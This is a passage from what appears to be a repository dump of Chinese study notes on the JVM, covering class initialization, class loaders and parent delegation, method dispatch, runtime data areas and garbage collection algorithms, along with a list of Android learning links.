如果类没有声明任何类变量，也没有静态初始化语句，那么它就不会有`<clinit>()`方法。如果类声明了类变量，但没有明确的使用类变量初始化语句或者静态代码块来初始化它们，也不会有`<clinit>()`方法。如果类仅包含静态`final`常量的类变量初始化语句，而且这些类变量初始化语句采用编译时常量表达式，类也不会有`<clinit>()`方法。**只有那些需要执行Java代码来赋值的类才会有`<clinit>()`**\n  - `final`常量：Java虚拟机在使用它们的任何类的常量池或字节码中直接存放的是它们表示的常量值。\n\n## 主动使用和被动使用\n\n主动使用有六种情况，在前面已经写过。\n\n**使用一个非常量的静态字段只有当类或接口的确声明了这个字段时才是主动使用。** 比如：类中声明的字段可能被子类引用；接口中声明的字段可能被子接口或实现了这个接口的类引用。对于子类、子接口或实现了接口的类来说，这是被动使用--不会触发它们的初始化。只有当字段的确是被类或接口声明的时候才是主动使用。\n"
  },
  {
    "path": "docs/android/interview/java/jvm/2-jvm-class-loader.md",
    "content": "# 类加载器\n\n## 简介  \n\nJava类加载器是Java运行时环境（Java Runtime Environment）的一部分，负责动态加载Java类到Java虚拟机的内存空间中。**类通常是按需加载，即第一次使用该类时才加载。** 由于有了类加载器，Java运行时系统不需要知道文件与文件系统。每个Java类必须由某个类加载器装入到内存。\n\n类装载器子系统涉及Java虚拟机的其他几个组成部分，以及几个来自`java.lang`库的类。比如，用户自定义的类装载器只是普通的Java对象，它的类必须派生自`java.lang.ClassLoader`。`ClassLoader`中定义的方法为程序提供了访问类装载器机制的接口。此外，对于每个被装载的类型，Java虚拟机都会为他创建一个`java.lang.Class`类的实例来代表该类型。和所有其他对象一样，用户自定义的类装载器以及`Class`类的实例都放在内存中的堆区，而装载的类型信息都位于方法区。\n\n类装载器子系统除了要定位和导入二进制class文件外，还必须负责验证被导入类的正确性，为变量分配初始化内存，以及帮助解析符号引用。这些动作必须严格按一下顺序完成：\n\n  1. 装载--查找并装载类型的二进制数据。\n  2. 链接--执行验证、准备以及解析(可选)\n    - 验证：确保被导入类型的正确性\n    - 准备：为类变量分配内存，并将其初始化为默认值。\n    - 解析：把类型中的符号引用转换为直接引用。\n  3. 初始化--把类变量初始化为正确的初始值。\n  4. 使用\n  5. 卸载：类加载器加载的每个类和类加载器本身都被没有引用\n\n## 分类\n\n在Java虚拟机中存在多个类装载器，Java应用程序可以使用两种类装载器：\n  - `启动(bootstrap)类装载器`：此装载器是Java虚拟机实现的一部分。由原生代码（如C语言）编写，不继承自`java.lang.ClassLoader`。负责加载核心Java库，存储在`<JAVA_HOME>/jre/lib`目录中。*（如果Java虚拟机在已有操作系统中实现为C程序，那么启动类加载器就是此C程序的一部分）* 启动类装载器通常使用某种默认的方式从本地磁盘中加载类，包括Java API。\n\n  - `用户自定义类装载器`：*（包含但不止，扩展类加载器以及系统类加载器）* ，继承自Java中的`java.lang.ClassLoader`类，Java应用程序能在运行时安装用户自定义类装载器，这种累装载器使用自定义的方式来装载类。用户定义的类装载器能用Java编写，能够被编译为Class文件，能被虚拟机装载，还能像其他对象一样实例化。它们实际上只是运行中的Java程序可执行代码的一部分。一般JVM都会提供一些基本实现。应用程序的开发人员也可以根据需要编写自己的类加载器。**JVM中最常使用的是系统类加载器（system），它用来启动Java应用程序的加载。** 通过`java.lang.ClassLoader.getSystemClassLoader()` 可以获取到该类加载器对象。**该类由sun.misc.Launcher$AppClassLoader实现。**\n\n![](images/java-class-loader.png)\n\n## 全盘负责双亲委托机制\n\n`全盘负责`是指当一个ClassLoader装载一个类的时，除非显式地使用另一个ClassLoader，该类所依赖及引用的类也由这个ClassLoader载入；“双亲委托机制”是指先委托父装载器寻找目标类，只有在找不到的情况下才从自己的类路径中查找并装载目标类。**这一点是从安全角度考虑的，试想如果有人编写了一个恶意的基础类（如java.lang.String）并装载到JVM中将会引起多么可怕的后果。但是由于有了“全盘负责委托机制”，java.lang.String永远是由根装载器来装载的，这样就避免了上述事件的发生。**\n\n类加载器需要完成的最终功能是定义一个Java类，即把Java字节代码转换成JVM中的`java.lang.Class`类的对象。但是类加载的过程并不是这么简单。Java类加载器有两个比较重要的特征：\n\n  - 层次组织结构指的是每个类加载器都有一个父类加载器，通过`getParent()`方法可以获取到。类加载器通过这种父亲-后代的方式组织在一起，形成树状层次结构。\n\n  - 代理模式则指的是一个类加载器既可以自己完成Java类的定义工作，也可以代理给其它的类加载器来完成。由于代理模式的存在，启动一个类的加载过程的类加载器和最终定义这个类的类加载器可能并不是一个。**前者称为初始类加载器，而后者称为定义类加载器。**\n\n两者的关联在于：在每个类被装载的时候，Java虚拟机都会监视这个类，看它到底是被启动类装载器还是被用户自定义类装载器装载。**当被装载的类引用了另外一个类的时候，虚拟机就会使用装载第一个类的类装载器装载被引用的类。**\n\n>注意：JVM加载类A，并使用A的ClassLoader去加载B，但B的类加载器并不一定和A的类加载器一致，这是因为有双亲委托机制的存在。\n\n一般的类加载器在尝试自己去加载某个Java类之前，会 **首先代理给其父类加载器**。当父类加载器找不到的时候，才会尝试自己加载。这个逻辑是封装在`java.lang.ClassLoader`类的`loadClass()`方法中的。一般来说，父类优先的策略就足够好了。在某些情况下，**可能需要采取相反的策略，即先尝试自己加载，找不到的时候再代理给父类加载器。这种做法在Java的Web容器中比较常见，也是Servlet规范推荐的做法。** 比如，Apache Tomcat为每个Web应用都提供一个独立的类加载器，使用的就是自己优先加载的策略。IBM WebSphere Application Server则允许Web应用选择类加载器使用的策略。\n\n![](images/class-loader-proxy-partten.png)\n\n>假设 类加载器B2被要求装载类MyClass，在parent delegation模型下，类加载器B2首先请求类加载器B代为装载，类加载器B再请求系统类装载器去装载MyClass，系统类装载器也会继续请求它的Parent扩展类加载器去装载MyClass，以此类推直到引导类装载器。若引导类装载器能成功装载，则将MyClass所对应的Class对象的reference逐层返回到类加载器B2，若引导类装载器不能成功装载，下层的扩展类装载器将尝试装载，并以此类推直到类装载器B2如果也不能成功装载，则装载失败。\n\n>需要指出的是，Class Loader是对象，它的父子关系和类的父子关系没有任何关系。一对父子loader可能实例化自同一个 Class，也可能不是，甚至父loader实例化自子类，子loader实例化自父类。\n\n## defineClass vs findClass vs loadClass\n\n  - `loadclass`：判断是否已加载，使用双亲委派模型，请求父加载器，都为空，使用 `findclass`\n  - `findclass`：根据名称或位置加载 `.class` 字节码,然后使用 `defineClass`\n  - `defineclass`：解析定义 `.class` 字节流，返回 `class` 对象\n\n## 运行时包\n\n类加载器的一个重要用途是 **在JVM中为相同名称的Java类创建隔离空间**。在JVM中，**判断两个类是否相同，不仅是根据该类的二进制名称，还需要根据两个类的定义类加载器。** 只有两者完全一样，才认为两个类的是相同的。\n\n在允许两个类型之间对包内可见的成员进行访问前，虚拟机不但要确定这个两个类型属于同一个包，**还必须确认它们属于同一个运行时包－它们必须有同一个类装载器装载的。** 这样，`java.lang.Virus`和来自核心的`java.lang`的类不属于同一个运行时包，`java.lang.Virus`就不能访问`JAVA API`的`java.lang`包中的包内可见的成员。\n\n## Class.getClassLoader vs Thread.getContextClassLoader\n\n  - 每个 `Class` 会使用自己的 `ClassLoader` 去加载其他的 `Class` 。如果 `ClassA.class` 引用了 `ClassB.class` ，那么 `ClassB` 需要能被 `ClassA` 的 `ClassLoader` 或者其 `父ClassLoader` 找到。\n\n  - `Thread.getContextClassLoader` 是当前线程使用的 `ClassLoader`。对象可以通过 `ClassLoaderC` 加载，并且传递到 `Classload` 是 `ClassLoaderD` 的线程里。在某些情况下，对象需要使用 `Thread.currentThread().getContextClassLoader()` 来加载 `ClassLoaderC` 不能获取的资源\n\n## [Tomcat & ClassLoader](https://blog.csdn.net/liweisnake/article/details/8470285)\n\n事实上，tomcat之所以造了一堆自己的classloader，大致是出于下面三类目的：\n\n   - 对于各个 `webapp` 中的 `class` 和 `lib` ，需要相互隔离，不能出现一个应用中加载的类库会影响另一个应用的情况；而对于许多应用，需要有共享的lib以便不浪费资源，举个例子，如果 `webapp1` 和 `webapp2` 都用到了 log4j ，可以将 log4j 提到 `tomcat/lib` 中，表示所有应用共享此类库，试想如果 log4j 很大，并且 20 个应用都分别加载，那实在是没有必要的。\n   - 与 `jvm` 一样的安全性问题。使用单独的 `classloader` 去装载 `tomcat` 自身的类库，以免其他恶意或无意的破坏；\n   - 热部署，相信大家一定为 `tomcat` 修改文件不用重启就自动重新装载类库而惊叹吧。\n"
  },
  {
    "path": "docs/android/interview/java/jvm/3-dispatcher.md",
    "content": "# Java分派机制\n\n在Java中，符合“编译时可知，运行时不可变”这个要求的方法主要是静态方法和私有方法。这两种方法都不能通过继承或别的方法重写，因此它们适合在类加载时进行解析。\n\nJava虚拟机中有四种方法调用指令：\n- `invokestatic`：调用静态方法。\n- `invokespecial`：调用实例构造器<init>方法，私有方法和super。\n- `invokeinterface`：调用接口方法。\n- `invokevirtual`：调用以上指令不能调用的方法（虚方法）。\n\n只要能被`invokestatic`和`invokespecial`指令调用的方法，都可以在解析阶段确定唯一的调用版本，符合这个条件的有：静态方法、私有方法、实例构造器、父类方法，他们在类加载的时候就会把符号引用解析为改方法的直接引用。这些方法被称为非虚方法，反之其他方法称为虚方法（final方法除外）。\n\n>虽然final方法是使用`invokevirtual `指令来调用的，但是由于它无法被覆盖，多态的选择是唯一的，所以是一种非虚方法。\n\n## 静态分派\n\n> 对于类字段的访问也是采用静态分派\n\n`People man = new Man()`\n\n**静态分派主要针对重载**，方法调用时如何选择。在上面的代码中，`People`被称为变量的引用类型，`Man`被称为变量的实际类型。**静态类型是在编译时可知的，而动态类型是在运行时可知的**，编译器不能知道一个变量的实际类型是什么。\n\n**编译器在重载时候通过参数的静态类型而不是实际类型作为判断依据**。并且静态类型在编译时是可知的，所以编译器根据重载的参数的静态类型进行方法选择。\n\n> 在某些情况下有多个重载，那编译器如何选择呢？\n> 编译器会选择\"最合适\"的函数版本，那么怎么判断\"最合适“呢？越接近传入参数的类型，越容易被调用。\n\n## 动态分派\n\n动态分派主要针对重写，使用`invokevirtual`指令调用。`invokevirtual`指令多态查找过程：\n  - 找到操作数栈顶的第一个元素所指向的对象的实际类型，记为C。\n  - 如果在类型C中找到与常量中的描述符合简单名称都相符的方法，则进行访问权限校验，如果通过则返回这个方法的直接引用，查找过程结束；如果权限校验不通过，返回java.lang.IllegalAccessError异常。\n  - 否则，按照继承关系从下往上一次对C的各个父类进行第2步的搜索和验证过程。\n  - 如果始终没有找到合适的方法，则抛出 java.lang.AbstractMethodError异常。\n\n## 虚拟机动态分派的实现\n\n由于动态分派是非常繁琐的动作，而且动态分派的方法版本选择需要考虑运行时在类的方法元数据中搜索合适的目标方法，**因此在虚拟机的实现中基于性能的考虑，在方法区中建立一个虚方法表**（`invokeinterface `有接口方法表），来提高性能。\n\n![](images/dispatcher.bmp)\n\n虚方法表中存放各个方法的实际入口地址。如果某个方法在子类没有重写，那么子类的虚方法表里的入口和父类入口一致，如果子类重写了这个方法，那么子类方法表中的地址会被替换为子类实现版本的入口地址。\n"
  },
  {
    "path": "docs/android/interview/java/jvm/4-jvm-architecture.md",
    "content": "# JVM架构\n\n## Java虚拟机简介\n\n“Java虚拟机”可能指如下三个不同的东西\n\n  - 抽象规范\n  - 一个具体的实现\n  - 一个运行中的虚拟机实例\n\n每个Java程序都运行在某个具体的Java虚拟机实现的实例上。一个Java虚拟机的实例负责运行一个Java程序。当启动一个Java程序的时候，一个虚拟机的实例也就诞生了。当该程序关闭退出时，这个虚拟机实例也就随之消亡。\n\n## 线程介绍\n\n在Java虚拟机内部有两种线程：\n  - `守护线程`：通常是由虚拟机自己使用，比如GC线程。但是，Java程序也可以把它自己创建的任何线程标记为守护线程（`public final void setDaemon(boolean on)`来设置，但必须在`start()`方法之前调用）。\n\n  - `非守护线程`：main方法执行的线程，我们通常也称为用户线程。\n\n> 只要有任何的非守护线程在运行，Java程序也会继续运行。当该程序中所有的非守护线程都终止时，虚拟机实例将自动退出（守护线程随JVM一同结束工作）。\n\n**守护线程中不适合进行IO、计算等操作，因为守护线程是在所有的非守护线程退出后结束，这样并不能判断守护线程是否完成了相应的操作，如果非守护线程退出后，还有大量的数据没来得及读写，这将造成很严重的后果。**\n\n>web服务器中的Servlet，容器启动时后台初始化一个服务线程，即调度线程，负责处理http请求，然后每个请求过来调度线程从线程池中取出一个工作者线程来处理该请求，从而实现并发控制的目的。\n\n## Java虚拟机体系结构\n\n![](images/jvm-architecture.png)\n\n每个Java虚拟机都有一个类装载器子系统，他根据给定的全限定名来装在类型。同样，每个Java虚拟机都有一个执行引擎，它负责执行那些包含在被装载类的方法中的指令。**当Java虚拟机运行一个程序时，它需要内存来存储很多东西，例如：字节码，从已装载的class文件中得到的其他信息，程序创建的对象，传递给方法的参数，返回值，局部变量，以及运算的中间结果等等，Java虚拟机把这些东西都组织到几个“运行时数据区”中，以便管理。**\n\n**每个Java虚拟机实例都有一个方法区以及一个堆，** 他们是由 **该虚拟机实例中所有线程共享的。** 当虚拟机装载一个class文件时，它会从这个class文件包含的二进制数据中解析类型信息。**然后把这些类型信息放到方法区中。** 当程序运行的时候，**虚拟机会把所有该程序在运行时创建的对象都放到堆中。**\n\n**每个新线程都会得到它自己的PC寄存器(程序计数器)以及一个Java栈。**\n\n  - 如果线程正在执行的是一个Java方法(非Native方法)。那么PC寄存器的值将总指向下一条将被执行的指令，而 **它的Java栈则总是存储该线程中Java方法调用的转台--包括它的局部变量、被调用时传进来的参数、返回值以及运算的中间结果等等。**\n\n  - Native方法调用的状态，则是以某种依赖于具体实现的方式存储在本地方法栈中，也可能是在寄存器或者其他某些与特定实现相关的内存区中。\n\n**Java栈是由很多的栈帧(stack frame)或者说帧(frame)组成的，一个栈帧包含一个Java方法调用状态。** 当现场调用一个Java方法的时候，虚拟机压入一个新的栈帧到该线程的Java栈中：当该方法返回时，这个栈帧被从Java栈中弹出并抛弃\n\nJava虚拟机没有指令寄存器，其指令集使用Java栈来存储中间数据。这样设计的原因是为了保持Java虚拟机的指令集尽量紧凑、同时也便于Java虚拟机在那些只有很少通用寄存器的平台上实现。另外，Java虚拟机这种基于栈的体系结构，也有助于运行时某些虚拟机实现的动态编译器和即时编译器的代码优化。\n\n![](images/jvm-thread-data-area.png)\n\n>1. 这些内存区域是私有的，任何线程都不能访问另外一个线程的PC寄存器或Java栈。\n>2. 图中是一个虚拟机实例的快照，它有三个线程正在执行。线程1和线程2都正在执行Java方法，而线程3在执行Native方法。\n\n## 数据类型\n\n数据类型分为两种：\n\n  - 基本类型：基本类型的变量持有原始值。\n  - 引用类型：引用类型的变量持有引用值。引用值是指对某个对象的引用，而不是该对象本身。\n\n![](images/jvm-data-type.png)\n\n  - 基本类型:\n\n    - **Java语言中的所有基本类型都是Java虚拟机中的基本类型。但boolean有点特别，虽然Java虚拟机也把boolean看做基本类型，但指令集对boolean只有很有限的支持。** 当编译器把Java源码编译成字节码时，它会用int或byte来表示boolean。在Java虚拟机中false是由整数'0'表示，所有的非零整数都表示true，**涉及boolean值的操作则会用int。另外boolean数组是当做byte数组来访问的，** 但是在“堆”区，它也可以被表示为位域。\n    - **Java虚拟机的基本类型的值域在任何地方都是一致的，** 比如：不管底层主机平台是什么，一个`long`在任何虚拟机中总是一个64位二进制补码表示的又复活整数。\n    - Java虚拟机中有一个值在内部使用的基本类型`returnAddress`，Java程序员不能使用这个类型。**这个基本类型是用来实现Java程序中的finally子句。**\n\n  - 引用类型：\n\n    Java虚拟机中有三种引用类型，它们的值都是对动态创建对象的引用：\n\n      - `类类型`：类实例(对象)的引用。\n      - `接口类型`：是对实现了该接口的某个类实例的引用。\n      - `数组类型`：数组对象的引用，在Java虚拟机中数组是个真正的对象。\n\n      >还有一个特殊的引用值--NULL，它表示引用变量没有引用任何对象。\n\nJava虚拟机规范定义了每一种数据类型的取值范围，但没有定义它们的位宽。存储这些类型的值所需的占位宽度，是由具体的虚拟机实现的设计者决定的。\n\n![](images/jvm-data-arrange.png)\n\n## 类装载器\n\nJava类加载器是Java运行时环境（Java Runtime Environment）的一部分，负责动态加载Java类到Java虚拟机的内存空间中。**类通常是按需加载，即第一次使用该类时才加载。** 由于有了类加载器，Java运行时系统不需要知道文件与文件系统。每个Java类必须由某个类加载器装入到内存。\n\n类装载器子系统涉及Java虚拟机的其他几个组成部分，以及几个来自`java.lang`库的类。比如，用户自定义的类装载器只是普通的Java对象，它的类必须派生自`java.lang.ClassLoader`。`ClassLoader`中定义的方法为程序提供了访问类装载器机制的接口。此外，对于每个被装载的类型，Java虚拟机都会为他创建一个`java.lang.Class`类的实例来代表该类型。和所有其他对象一样，用户自定义的类装载器以及`Class`类的实例都放在内存中的堆区，而装载的类型信息都位于方法区。\n\n类装载器子系统除了要定位和导入二进制class文件外，还必须负责验证被导入类的正确性，为变量分配初始化内存，以及帮助解析符号引用。这些动作必须严格按一下顺序完成：\n\n  1. 装载--查找并装载类型的二进制数据。\n  2. 链接--执行验证、准备以及解析(可选)\n    - 验证  确保被导入类型的正确性\n    - 准备  为类变量分配内存，并将其初始化为默认值。\n    - 解析  把类型中的符号引用转换为直接引用。\n  3. 初始化--把类变量初始化为正确的初始值。\n\n## 方法法区\n\n方法区（method area）只是JVM规范中定义的一个概念，用于存储类信息、常量池、静态变量、JIT编译后的代码等数据，具体放在哪里，不同的实现可以放在不同的地方。\n\n![](images/jvm-method-const-area.png)\n\n**在Java虚拟机中，关于被装载类型的信息存储在逻辑上一个被称为方法区的内存中。** 当虚拟机装载某个类型市，它使用类装载器定位相应的`class`文件，然后读入这个`class`文件--一个线性二进制数据流，然后把他传输到虚拟机中。紧接着虚拟机提取其中的类型信息，并将这些信息存储到方法区。该类型的类(静态)变量同样也是存储在方法区内。\n\n>当虚拟机运行Java程序时，它会查找使用存储在方法区中的类型信息。\n\n**由于所有线程都共享方法区，因此他们对方法区数据的访问必须设计为线程安全的。** 方法区的大小不必是固定的，虚拟机可以根据应用需要动态调整。同样，方法区也不必是连续的，方法区可以在一个堆中自由分配。方法区也可以被垃圾收集--这里涉及到类的卸载。\n\n方法区中包含的信息：\n\n  1. `类型信息`：对每个装载的类型，虚拟机都会在方法区存储一下信息\n    - 这个类型的全限定名\n    - 这个类型的直接父类的全限定名\n    - 这个类型是类类型还是接口类型\n    - 这个类型的访问修饰符\n    - 任何直接父接口的全限定名的有序列表\n  2. `常量池`：虚拟机必须为每个被装载的类型维护一个常量池。常量池就是该类型所用常量的一个有序集合，包直接常量(string,integer...)和对其他类型、字段和方法的符号引用。池中的数据项通过索引访问。\n  3. `字段信息`。\n  4. `方法信息`。\n  5. `类变量`。\n  6. `编译时常量`。\n  7. 指向`ClassLoader`类的引用。\n  8. 指向`Class`类的引用。\n  9. `方法表`：为了提高访问效率，虚拟机对每个装载的非抽象类都生成一个方法表，把它作为类信息的一部分，它主要存储了所有它的实例可能被调用的实例方法的直接引用，包括从父类继承的 *实例* 方法。\n"
  },
  {
    "path": "docs/android/self.md",
    "content": "<h1 align=\"center\">TODO学习清单</h1>\n\n* **Android常见设计模式**\n  * [观察者模式](https://blog.csdn.net/chengyuqiang/article/details/79222294)\n  * [策略模式](https://github.com/pengMaster/strategyMode)\n  * [建造者模式](https://www.jianshu.com/p/154948d5adc6)\n  * [适配器模式](https://blog.csdn.net/u012583459/article/details/47079529)\n  * [代理模式](https://blog.csdn.net/u012583459/article/details/47079529)\n  * [工厂模式](https://blog.csdn.net/u012583459/article/details/47079549)\n  * [单例模式](https://blog.csdn.net/u012583459/article/details/47079549)\n  * [命令模式](https://blog.csdn.net/u012583459/article/details/47079549)  \n* [Android 学习笔记核心篇](https://juejin.im/post/5c46db4ae51d4503834d8227)\n* [Android 每日一问](https://www.wanandroid.com/article/list/0?cid=440)\n* [2019年最新总结大场面试题](https://github.com/0voice/interview_internal_reference)\n* [大场内推](https://github.com/0voice/enterprise_job_recommend)\n* [Android虚拟机和Java虚拟机之间的区别](https://blog.csdn.net/androidstarjack/article/details/77835623)\n\n* **安卓AOP**\n  * [Android 中使用AOP](https://www.jianshu.com/p/83c46664b507)\n  * [安卓AOP三剑客:APT,AspectJ,Javassist](https://www.jianshu.com/p/dca3e2c8608a?from=timeline)\n  * [【Android】函数插桩（Gradle + ASM）](https://www.jianshu.com/p/16ed4d233fd1)\n  \n* [Android中Looper原理](https://blog.csdn.net/u014803950/article/details/80832581)\n* [Android主线程(ActivityThread)源代码分析](https://blog.csdn.net/xu_song/article/details/81983724)\n\n* **Kotlin**\n  * [Kotlin泛型 协变 逆变 星投影](https://www.jianshu.com/p/ecacb7af79eb?from=timeline&isappinstalled=0)\n  * [协程](https://www.jianshu.com/p/04f28bbc66dc)\n  \n* **堆栈**\n  * [Java String s = new String(\"hello\")和String s = \"hello\"的区别](https://blog.csdn.net/kk123k/article/details/80752476)\n  \n* [Android开发需要了解的网络协议](https://www.jianshu.com/p/6402d04eb838)\n\n* [常见数据结构与算法整理总结（上）](https://www.jianshu.com/p/230e6fde9c75)\n* [常见数据结构与算法整理总结（下）](https://www.jianshu.com/p/42f81846c0fb)\n  \n"
  },
  {
    "path": "docs/android/sources/JavaGarbageCollection.md",
    "content": "\n## Java 垃圾回收机制详解\n- [Java内存模型](https://github.com/UCodeUStory/DataStructure/blob/master/sources/JavaMemoryMode.md)\n\n- 1.内存回收机制：内存回收就是释放掉在内存中已经没用的对象。\n\n- 2. 要判断怎样的对象是没用的对象。这里有2种方法：\n- - 1.采用标记计数的方法：\n给内存中的对象给打上标记，对象被引用一次，计数就加1，引用被释放了，计数就减一，当这个计数为0的时候，这个对象就可以被回收了。\n     当然，这也就引发了一个问题：循环引用的对象是无法被识别出来并且被回收的。所以就有了第二种方法：\n- - 2.采用根搜索算法：\n从一个根出发，搜索所有的可达对象，这样剩下的那些对象就是需要被回收的\n判断完了哪些对象是没用的，这样就可以进行回收了\n最简单的，就是直接清空那个需要被回收的对象。但是这又出现了一个问题，就是内存会被分为一块一块的小碎片。\n- - 3.为了解决这个问题，可以采用第二种方法，就是在之前的基础上将存活的对象给整理一下，使他们变成一个连续的内存，从而释放出连续的较大的内存空间。\n还有一中回收方法就是采用复制的办法：将内存分为2块，一块用来存放对象，另一块用来放着，当存放对象的那块满了以后就将上面存活的对象给复制过来，然后在这块内存上工作，并且将之前的内存清空，当自己这块满了以后再复制回去，如此反复。\n\n\n比较效率的一中做法是将以上的几种方法给结合起来。\n\n首先将内存分块，分为新生代，老年代和永久代。\n永久代用来存放代码，等一些基本不改变的数据，\n新生代用来存放刚产生的一些对象，新生代又可分为3块。分别为Edon区，Survivor0,survivor1,刚产生的对象是放在Edon区中，当这个区块放满了以后就将其存活的部分复制到survivor0块中，并且将Edon区中的数据清空，等到survivor0满了就将其中的存活的数据放到survivor1中，清空survivor0,垃圾回收到了一定次数还未被回收的对象，就可以放到老年区。一般来说，刚才产生的对象大多是要在下一次垃圾回收的时候就要被回收掉的，只有一小部分对象会被保留下来，这些被保留下来的对象都是比较稳定的，所以在老年区中的对象回收方法可以采用整理的方法，而在Edon区等新生代中采用复制的方法比较好。\n\n垃圾回收他是在虚拟机空闲的时候或者内存紧张的时候执行的，什么时候回收不是由程序员来控制的，这也就是java比较耗内存的原因之一。\n还有在垃圾回收的时候当检测到对象没有用了，需要被回收的时候并不会马上被回收，而是将其放入到一个准备回收的队列，去执行finalize方法。。\n\n\n一、垃圾回收机制的意义\n\nJava语言中一个显著的特点就是引入了垃圾回收机制，使c++程序员最头疼的内存管理的问题迎刃而解，它使得Java程序员在编写程序的时候不再需要考虑内存管理。由于有个垃圾回收机制，Java中的对象不再有“作用域”的概念，只有对象的引用才有“作用域”。垃圾回收可以有效的防止内存泄露，有效的使用空闲的内存。\n\nps:内存泄露是指该内存空间使用完毕之后未回收，在不涉及复杂数据结构的一般情况下，Java 的内存泄露表现为一个内存对象的生命周期超出了程序需要它的时间长度，我们有时也将其称为“对象游离”。\n\n二、垃圾回收机制中的算法\n\nJava语言规范没有明确地说明JVM使用哪种垃圾回收算法，但是任何一种垃圾回收算法一般要做2件基本的事情：（1）发现无用信息对象；（2）回收被无用对象占用的内存空间，使该空间可被程序再次使用。\n\n1.引用计数法(Reference Counting Collector)\n\n1.1算法分析\n\n引用计数是垃圾收集器中的早期策略。在这种方法中，堆中每个对象实例都有一个引用计数。当一个对象被创建时，且将该对象实例分配给一个变量，该变量计数设置为1。当任何其它变量被赋值为这个对象的引用时，计数加1（a = b,则b引用的对象实例的计数器+1），但当一个对象实例的某个引用超过了生命周期或者被设置为一个新值时，对象实例的引用计数器减1。任何引用计数器为0的对象实例可以被当作垃圾收集。当一个对象实例被垃圾收集时，它引用的任何对象实例的引用计数器减1。\n\n1.2优缺点\n\n优点：\n\n引用计数收集器可以很快的执行，交织在程序运行中。对程序需要不被长时间打断的实时环境比较有利。\n\n缺点：\n\n无法检测出循环引用。如父对象有一个对子对象的引用，子对象反过来引用父对象。这样，他们的引用计数永远不可能为0.\n\n1.3引用计数算法无法解决循环引用问题，例如：\n\n    \n    public class Main {\n        public static void main(String[] args) {\n            MyObject object1 = new MyObject();\n            MyObject object2 = new MyObject();\n              \n            object1.object = object2;\n            object2.object = object1;\n              \n            object1 = null;\n            object2 = null;\n        }\n    }\n最后面两句将object1和object2赋值为null，也就是说object1和object2指向的对象已经不可能再被访问，但是由于它们互相引用对方，导致它们的引用计数器都不为0，那么垃圾收集器就永远不会回收它们。\n\n2.tracing算法(Tracing Collector) 或 标记-清除算法(mark and sweep)\n\n2.1根搜索算法\n\n\n根搜索算法是从离散数学中的图论引入的，程序把所有的引用关系看作一张图，从一个节点GC ROOT开始，寻找对应的引用节点，找到这个节点以后，继续寻找这个节点的引用节点，当所有的引用节点寻找完毕之后，剩余的节点则被认为是没有被引用到的节点，即无用的节点。\n\njava中可作为GC Root的对象有\n\n1.虚拟机栈中引用的对象（本地变量表）\n\n2.方法区中静态属性引用的对象\n\n3. 方法区中常量引用的对象\n\n4.本地方法栈中引用的对象（Native对象）\n\n2.2tracing算法的示意图\n\n\n\n2.3标记-清除算法分析\n\n标记-清除算法采用从根集合进行扫描，对存活的对象对象标记，标记完毕后，再扫描整个空间中未被标记的对象，进行回收，如上图所示。标记-清除算法不需要进行对象的移动，并且仅对不存活的对象进行处理，在存活对象比较多的情况下极为高效，但由于标记-清除算法直接回收不存活的对象，因此会造成内存碎片。\n\n3.compacting算法 或 标记-整理算法\n\n\n\n标记-整理算法采用标记-清除算法一样的方式进行对象的标记，但在清除时不同，在回收不存活的对象占用的空间后，会将所有的存活对象往左端空闲空间移动，并更新对应的指针。标记-整理算法是在标记-清除算法的基础上，又进行了对象的移动，因此成本更高，但是却解决了内存碎片的问题。在基于Compacting算法的收集器的实现中，一般增加句柄和句柄表。\n\n4.copying算法(Compacting Collector)\n\n\n\n该算法的提出是为了克服句柄的开销和解决堆碎片的垃圾回收。它开始时把堆分成 一个对象 面和多个空闲面， 程序从对象面为对象分配空间，当对象满了，基于copying算法的垃圾 收集就从根集中扫描活动对象，并将每个 活动对象复制到空闲面(使得活动对象所占的内存之间没有空闲洞)，这样空闲面变成了对象面，原来的对象面变成了空闲面，程序会在新的对象面中分配内存。一种典型的基于coping算法的垃圾回收是stop-and-copy算法，它将堆分成对象面和空闲区域面，在对象面与空闲区域面的切换过程中，程序暂停执行。\n\n5.generation算法(Generational Collector)\n\n\n\n分代的垃圾回收策略，是基于这样一个事实：不同的对象的生命周期是不一样的。因此，不同生命周期的对象可以采取不同的回收算法，以便提高回收效率。\n\n年轻代（Young Generation）\n\n1.所有新生成的对象首先都是放在年轻代的。年轻代的目标就是尽可能快速的收集掉那些生命周期短的对象。\n\n2.新生代内存按照8:1:1的比例分为一个eden区和两个survivor(survivor0,survivor1)区。一个Eden区，两个 Survivor区(一般而言)。大部分对象在Eden区中生成。回收时先将eden区存活对象复制到一个survivor0区，然后清空eden区，当这个survivor0区也存放满了时，则将eden区和survivor0区存活对象复制到另一个survivor1区，然后清空eden和这个survivor0区，此时survivor0区是空的，然后将survivor0区和survivor1区交换，即保持survivor1区为空， 如此往复。\n\n3.当survivor1区不足以存放 eden和survivor0的存活对象时，就将存活对象直接存放到老年代。若是老年代也满了就会触发一次Full GC，也就是新生代、老年代都进行回收\n\n4.新生代发生的GC也叫做Minor GC，MinorGC发生频率比较高(不一定等Eden区满了才触发)\n\n年老代（Old Generation）\n\n1.在年轻代中经历了N次垃圾回收后仍然存活的对象，就会被放到年老代中。因此，可以认为年老代中存放的都是一些生命周期较长的对象。\n\n2.内存比新生代也大很多(大概比例是1:2)，当老年代内存满时触发Major GC即Full GC，Full GC发生频率比较低，老年代对象存活时间比较长，存活率标记高。\n\n持久代（Permanent Generation）\n\n用于存放静态文件，如Java类、方法等。持久代对垃圾回收没有显著影响，但是有些应用可能动态生成或者调用一些class，例如Hibernate 等，在这种时候需要设置一个比较大的持久代空间来存放这些运行过程中新增的类。\n\n三.GC（垃圾收集器）\n\n新生代收集器使用的收集器：Serial、PraNew、Parallel Scavenge\n\n老年代收集器使用的收集器：Serial Old、Parallel Old、CMS\n\n\n\nSerial收集器（复制算法)\n\n新生代单线程收集器，标记和清理都是单线程，优点是简单高效。\n\nSerial Old收集器(标记-整理算法)\n\n老年代单线程收集器，Serial收集器的老年代版本。\n\nParNew收集器(停止-复制算法)　\n\n新生代收集器，可以认为是Serial收集器的多线程版本,在多核CPU环境下有着比Serial更好的表现。\n\nParallel Scavenge收集器(停止-复制算法)\n\n并行收集器，追求高吞吐量，高效利用CPU。吞吐量一般为99%， 吞吐量= 用户线程时间/(用户线程时间+GC线程时间)。适合后台应用等对交互相应要求不高的场景。\n\nParallel Old收集器(停止-复制算法)\n\nParallel Scavenge收集器的老年代版本，并行收集器，吞吐量优先\n\nCMS(Concurrent Mark Sweep)收集器（标记-清理算法）\n\n高并发、低停顿，追求最短GC回收停顿时间，cpu占用比较高，响应时间快，停顿时间短，多核cpu 